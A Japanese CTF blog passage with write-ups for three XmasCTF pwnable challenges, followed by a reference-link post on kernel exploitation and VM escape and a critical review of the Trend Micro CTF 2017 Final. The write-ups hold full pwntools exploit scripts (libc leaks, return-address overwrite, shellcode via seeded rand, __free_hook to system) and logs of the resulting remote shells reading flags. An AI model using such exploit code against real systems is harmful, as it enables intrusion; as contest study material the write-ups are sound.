適当にbssあたりに偽の本を作っておきアドレスのリークを行った。リモートとローカルでライブラリのマッピングされる位置が違ったのか少し手こずった。最終的にはlibcのアドレスをリークしてから、environの値をリークさせてstackのアドレスを得てretrun addressを書き換えるようにした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "207.148.67.213"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('')
elf = ELF('./bookstore')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bookstore'], execute)
else:
    conn = process(['./bookstore'])
    # conn = process(['./bookstore'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def add_book(name, desc, price, pub):
    conn.sendlineafter('5. Exit', '1')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)
    conn.sendlineafter('Price : ', str(price))
    time.sleep(0.1)
    conn.sendline(pub)
    time.sleep(0.1)

def create_pub(name, desc):
    conn.sendlineafter('5. Exit', '2')
    time.sleep(0.1)
    conn.sendlineafter('Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Description : ', desc)
    time.sleep(0.1)

def view_books():
    conn.sendlineafter('5. Exit', '3')
    time.sleep(0.1)

def list_pubs():
    conn.sendlineafter('5. Exit', '4')
    time.sleep(0.1)

def sell_book(name, num):
    conn.sendlineafter('5. Exit', '5')
    time.sleep(0.1)
    conn.sendlineafter('Book Name : ', name)
    time.sleep(0.1)
    conn.sendlineafter('Num : ', str(num))
    time.sleep(0.1)


def write_word(addr, value):
    payload = 'a'*0x40 + p64(0x0) + p64(addr)
    create_pub(str(value), payload)
    add_book(str(value), 'zzzz', 0x1, '')
    sell_book(str(value), value)

log.info('Pwning')

fake_addr = 0x6063c0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('xxxx', 'yyyy', 1, '')
sell_book('xxxx', 0x000000000605fe8) # stdout

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 0x10)
create_pub('fuga', payload)
add_book('wwww', 'zzzz', 1, '')
sell_book('wwww', 0x6)

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('piyo', payload)
add_book('oooo', 'pppp', 1, '')

view_books()
for i in range(3):
    conn.recvuntil('Publisher : ')

libc_base = u64(conn.recv(6) + '\x00\x00') - 0x0000000000020740
log.info('libc_base = 0x%x', libc_base)
one_gadget = libc_base + 0xf1117


environ = libc_base + 0x3c6f38
fake_addr = 0x6063e0

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8)
create_pub('hoge', payload)
add_book('1', 'yyyy', 1, '')
sell_book('1', environ&0xffffffff) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 4)
create_pub('hoge', payload)
add_book('2', 'yyyy', 1, '')
sell_book('2', environ>>32) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr + 8 + 8)
create_pub('hoge', payload)
add_book('3', 'yyyy', 1, '')
sell_book('3', 6) 

payload = 'a'*0x40 + p64(0x0) + p64(fake_addr)
create_pub('4', payload)
add_book('4', 'pppp', 1, '')

view_books()
for i in range(7):
    conn.recvuntil('Publisher : ')

stack_base = u64(conn.recv(6) + '\x00\x00')
log.info('stack_base = 0x%x', stack_base)

# libc_start_main+240 -> one_gadget_rce
write_word(stack_base-0xf0, 0xd08e7)
conn.interactive()
root@ubuntu:~/ctf/XmasCTF/bookstore# python exp.py  r
[*] '/root/ctf/XmasCTF/bookstore/bookstore'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 207.148.67.213 on port 1337: Done
[*] Pwning
[*] libc_base = 0x7fba5dc79000
[*] stack_base = 0x7ffd89fb90d8
[*] Switching to interactive mode
1. Add Book
2. Create Publisher
3. View All Book
4. List Publisher
5. Sell Book
5. Exit
$ 6
$ id
uid=1000(bookstore) gid=1000(bookstore) groups=1000(bookstore)
$ cat /home/bookstore/flag
XMAS{ca11_m3_010-5328-7405}

[PWNABLE] INFINITE CAT THEOREM

ランダムに生成されたバイト列が実行されるが、srand()に渡るseedはstack bofによって任意の値にできる。また同時にstack bofによってreturn addressを操作できるので、任意のseedによるsrand()を実行させることができる。これを用いてexecve('/bin/sh')を実行するシェルコードを生成した。 get_seed()はour godが書いてくれた。感謝。

#!/usr/bin/env python
from pwn import *
from ctypes import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

libc = cdll.LoadLibrary("libc.so.6")

RHOST = "45.32.113.43"
RPORT = 12025
LHOST = "127.0.0.1"
LPORT = 12025

# libc = ELF('')
elf = ELF('./infinite_cat')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400B0A
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./infinite_cat'], gdbscript=execute)
else:
    conn = process(['./infinite_cat'])
    # conn = process(['./infinite_cat'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def get_seed(n):
  if isinstance(n, basestring):
    n = ord(n)
  for i in xrange(0,65536):
    libc.srand(c_int(i))
    if libc.rand() % 256 == n:
      return i
  return None

def make_byte(seed):
    conn.sendlineafter('length: ', '1')
    time.sleep(0.01)
    payload = 'x'* 0xc + p64(seed) + p64(0) * 3 +  p64(main_addr)
    conn.sendafter('your cat makes seed dynamic, any comment?', payload)
    time.sleep(0.01)

log.info('Pwning')

main_addr = elf.symbols['main']

shellcode = asm(shellcraft.sh())
for c in shellcode:
    make_byte(get_seed(c))

time.sleep(1)
conn.sendlineafter('length: ', '1')
conn.sendafter('your cat makes seed dynamic, any comment?', 'hoge')

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/infine_cat# python exploit.py r
[*] '/root/ctf/XmasCTF/infine_cat/infinite_cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 45.32.113.43 on port 12025: Done
[*] Pwning
[*] Switching to interactive mode

length: $ 1
your cat makes seed dynamic, any comment?
$ hoge
Now printing...

$
███╗   ██╗ ██╗   ██╗   █████╗    ███╗   ██╗  ██████╗
████╗  ██║ ╚██╗ ██╔╝  ██╔══██╗   ████╗  ██║ ██╔════╝
██╔██╗ ██║  ╚████╔╝   ███████║   ██╔██╗ ██║ ██║  ███╗
██║╚██╗██║   ╚██╔╝    ██╔══██║   ██║╚██╗██║ ██║   ██║
██║ ╚████║    ██║     ██║  ██║   ██║ ╚████║ ╚██████╔╝
╚═╝  ╚═══╝    ╚═╝     ╚═╝  ╚═╝   ╚═╝  ╚═══╝  ╚═════╝

$ id
uid=1000(infinite_cat_theorem) gid=1000(infinite_cat_theorem) groups=1000(infinite_cat_theorem)
$ cat flag
XMAS{your_cat_will_write_works_of_Shakespeare}

[PWNABLE] CHILDVM

独自VMfree()後にポインタのクリアをしないため、unsortedbinに入るチャンクからだとlibcのアドレスをリークできる。あとは値をリークさせてから__free_hooksystem()を書き込んだ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')

RHOST = "45.32.113.43"
RPORT = 31338
LHOST = "127.0.0.1"
LPORT = 31338

# libc = ELF('./libc.so.6_32')
elf = ELF('./childvm')

offset = 0x1b27b0
def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./childvm'], gdbscript=execute)
else:
    conn = process(['./childvm'])
    # conn = process(['./childvm'], env={'LD_PRELOAD': './libc.so.6_32'})

# preparing for exploitation

log.info('Pwning')

def movi(op1, op2):
    return chr(16) + p32(op1) + p32(op2)
def malloc(op1, op2):
    return chr(32) + p32(op1) + p32(op2)
def free(op1, op2):
    return chr(48) + p32(op1) + p32(op2)
def movxy(op1, op2):
    return chr(64) + p32(op1) + p32(op2)
def sub(op1, op2):
    return chr(80) + p32(op1) + p32(op2)
def read(op1, op2):
    return chr(112) + p32(op1) + p32(op2)
def movm(op1, op2):
    return chr(128) + p32(op1) + p32(op2)
def puts(op1, op2):
    return chr(144) + p32(op1) + p32(op2)


payload = ''
payload += malloc(0x80, 0xdeadbeef)
payload += movm(0, 3)
payload += malloc(0x80, 0xdeadbeef)
payload += free(0,0)
payload += puts(0,0)
conn.send(payload)
time.sleep(0.1)
conn.recvuntil('\xb0')
conn.recv(3)
libc_base = u32(conn.recv(4)) - offset
log.info('libc_base = 0x%x', libc_base)

payalod = ''
payload += movm(0, 3)
payload += movi(1, 0x9)
payload += read(0, 0)
payload += '/bin/sh\x00\x00'
payload += movi(2, libc_base + 0x1b38b0)
payload += movm(0, 2)
payload += read(0, 0)
payload += p32(libc_base + 0x3ada0)*2 + 'a'
payload += movm(0, 3)
payload += free(0, 0)
conn.send(payload)

conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r
[*] '/root/ctf/XmasCTF/childvm/childvm/childvm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 45.32.113.43 on port 31338: Done
[*] Pwning
[*] libc_base = 0xf75b1000
[*] Switching to interactive mode

\xb07v�7v�
$ id
uid=1001(childvm) gid=1001(childvm) groups=1001(childvm)
$ cat flag
XMAS{i'm_not_solo_TT}

おわりに

メリークリスマス!!!!!

Kernel ExploitとかVM Escapeについて調べた時に見つけたリンクまとめ

この記事はCTF Advent Calendar 2017の1日目です。

adventar.org

タイトル通りですが、本人は読んで満足する人間なので、中身は理解していないです。付け合わせで、CTFで出題された関係のありそうなやつもまとめました。

Kernel Exploit関連

Linuxでのlocal privilege escalationを目的としたもの。

pdfとかスライド

CTFの問題

VM Escape関連

色々あるけどQEMUがメイン。

pdfとかスライド

CTFの問題

おわりに

他にもあった気がするがメモが見つからない。これいいぞとかあったら教えてください。

Trend Micro CTF 2017 - Raimund Genes Cup - The Finalの感想

hamaです。TokyoWesternsとしてTMCTF Finalに参加しました。今回はwriteupではなく感想と愚痴です。僕の感想を箇条書きにすると、

  • 今年のTMCTF Finalは良くなかった
  • 全体を通して、問題がCTFとして面白くない
  • 本当にverifyしたのかと疑うレベルの杜撰な問題を出題しないでほしい
  • TMCTFとは関係のない他所様のサービスやサーバーに依存した問題を出題しないでほしい

以上で僕の言いたいことは終わりです。なので以降は適当に流してください。

なぜそう感じたのかを理由を書いていくと、殆どの問題に無駄なところでguessing要素が多かったです。問題の本質ではないところで躓くことが多く、技術を競うコンテストであるはずのCTFでguessingが必要な問題は害悪でしかないと考えている僕にとって今年のTMCTF Finalは苦痛でした。得点状況を見ながらヒントを随時公開してくれたことは有難かったのですが、そもそもヒントがないと解けない/意図が察せないことは、問題の作りが甘い証拠です。少なくとも予選を勝ち上がったCTFチームが5時間取り組んでsolve0だったら作問ミスを疑うのは自然ではないでしょうか?(1チームが解けるかどうかの難問は話が別です) それに地味にヒント中のツールのURLがNot Foundだったりと最高でした。あらかじめヒントを考えていた旨を運営から聞きましたが、それぐらいの確認はして欲しいです。CTFをやっている人間は技術を競い合うのが好きな人間で(少なくとも僕はそうです)、想像力を働かせて手当たり次第に試すようなコンテストはやりたくありません。やりたい問題は自然な思考に則った技術的な問題です。この辺りが本当にverifyしたのかと疑いたくなる理由です。作問者の想定解通りにやればフラグが得られる程度の確認は不十分です。何も情報がない状態(参加者と同じ状態)からフラグが取れるかどうかまでをテストするのは当たり前です。(これが実際はすごく大変な作業であることは自分たちのCTFを開催しているので理解しています。しかし開催する以上やるべきでしょう)

それにCTFとは全く関係ない外部のwebサービスを使う必要はあったのでしょうか? 静的なhtmlとphpファイルが1つしかないブログで、他所様のブログサービスを使う必要はないはずです。 その程度だったらローカルでwebサーバー立てるか、vpsもしくはクラウドサービスを使用して運営が管理するサーバーで良いはずです。 OSINTという情報が合っているのかどうか確証が持ちにくいジャンルでパスワードを当てる問題だと辞書攻撃をするのは当然の流れで、TMCTFとは関係ないサーバーにブルートフォースすることになるのは倫理的に厳しいです。 また、他の問題で使っていた外部サービスからはBANされて、そのままでは問題が解けない状況になるのは、有り得ないです。

ここまでかなり批判してますが、僕はTMCTF Finalを楽しみにしていました。前回参加したチームメイトから「去年のコンテストはよかった」と聞いていました。信じた自分がバカなだけですが、それでも同日開催のAVTOKYOに行くよりも絶対楽しいだろうと思っていました。蓋を開けてみたら、まぁこの有様です。期待していた分、失望も大きいです。これが初めて開催する名も知られてないようなCTFなら、「クソCTF」と一言twitterに書き込んで終わりですが、Trend Micro CTFは今年で3回目です。今までのノウハウやフィードバックがあったはずです。本当に残念でした。

参加者が求めているものと、運営が用意するものに大きな隔たりを感じているので、これを埋めない限り良い評価は得られないと思います。CTFTimeのvotingのコメントでフィードバックは得られるので確認して欲しいです。 来年開催するかどうかまだ分かりません。ここまでボロクソに書いておいてあれですけど、僕個人としては「金輪際参加しない」とか見限るつもりはないので来年も楽しみにしています。来年は予選も含めて賞賛されるCTFを開催して欲しいです。

TMCTF運営が見るかもしれないので、参考になりそうなものを置いておきます。是非読んでください。強豪チームのPPPが書いたCTF開催者向けの資料です。 docs/suggestions-for-running-a-ctf.markdown at master · pwning/docs · GitHub